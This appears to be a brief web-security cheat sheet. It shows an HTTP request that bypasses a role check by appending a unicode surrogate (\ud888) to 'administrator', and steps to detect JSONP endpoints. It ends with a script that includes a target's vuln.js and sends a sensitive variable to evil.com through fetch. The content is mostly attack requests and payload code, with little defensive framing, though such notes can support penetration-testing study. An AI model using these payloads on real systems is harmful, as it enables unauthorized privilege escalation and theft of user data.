POST /user/create HTTP/1.1
...
Content-Type: application/json
{
"user": "dana",
"role": "administrator"
}
HTTP/1.1 401 Not Authorized
...
Content-Type: application/json
{"Error": "Assignment of internal role 'administrator' is forbidden"}
Add \ud888
POST /user/create HTTP/1.1
...
Content-Type: application/json
{
"user": "dana",
"role": "administrator\ud888"
}
HTTP/1.1 200 OK
...
Content-Type: application/json
{"result": "OK: Created user ‘dana’ with the role of ‘administrator’"}
JSON Padding, JSONP
Detection
Add a callback parameter to a JSON URL, by appending ?callback=something to the URL.
When a format type is provided, change it to JSONP. Change ?format=json to ?format=jsonp.
<script src="https://target.com/vuln.js">
</script>
<script defer>
// var_name is a variable in vuln.js holding sensitive information
console.log(var_name);
// sending information to an attacker controlled server
fetch("https://evil.com/stealInfo?info="+var_name);
</script>